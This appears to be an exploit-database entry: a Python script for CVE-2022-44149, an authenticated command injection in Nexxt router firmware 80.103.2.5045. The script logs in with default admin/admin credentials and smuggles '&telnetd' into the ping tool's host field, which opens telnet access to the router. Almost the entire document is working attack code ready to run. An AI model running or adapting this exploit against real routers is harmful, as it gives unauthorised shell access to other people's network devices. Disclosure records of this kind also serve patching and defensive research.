Nexxt Router Firmware version 80.103.2.5045 authenticated remote code execution exploit that enables telnetd.
5cc2f9592bfa794aec05a199ba39c9dac5c11f930a516247805ceb62d4948e8a
# Exploit Title: Nexxt Router Firmware 80.103.2.5045 - Remote Code Execution (RCE) (Authenticated)
# Date: 19/10/2022
# Exploit Author: Yerodin Richards
# Vendor Homepage: https://www.nexxtsolutions.com/
# Version: 80.103.2.5045
# Tested on: ARN02304U8, ARLGL174U1
# CVE : CVE-2022-44149
import requests
import base64
router_host = "http://192.168.0.1"
username = "admin"
password = "admin"
def main():
auth_v80(username, password)
send_payload("&telnetd")
print("connect to router using: `telnet "+router_host.split("//")[1]+ "` using known credentials")
pass
def gen_header(u, p):
return base64.b64encode(f"{u}:{p}".encode("ascii")).decode("ascii")
def auth_v80(u, p):
url = router_host+"/goform/setAuth"
params = {"tool":"0", "loginUser":u, "loginPass": p, "sumbit": "OK"}
requests.post(url, data=params)
def send_payload(payload):
url = router_host+"/goform/sysTools"
headers = {"Authorization": "Basic {}".format(gen_header(username, password))}
params = {"tool":"0", "pingCount":"4", "host": payload, "sumbit": "OK"}
requests.post(url, headers=headers, data=params)
if __name__ == '__main__':
main()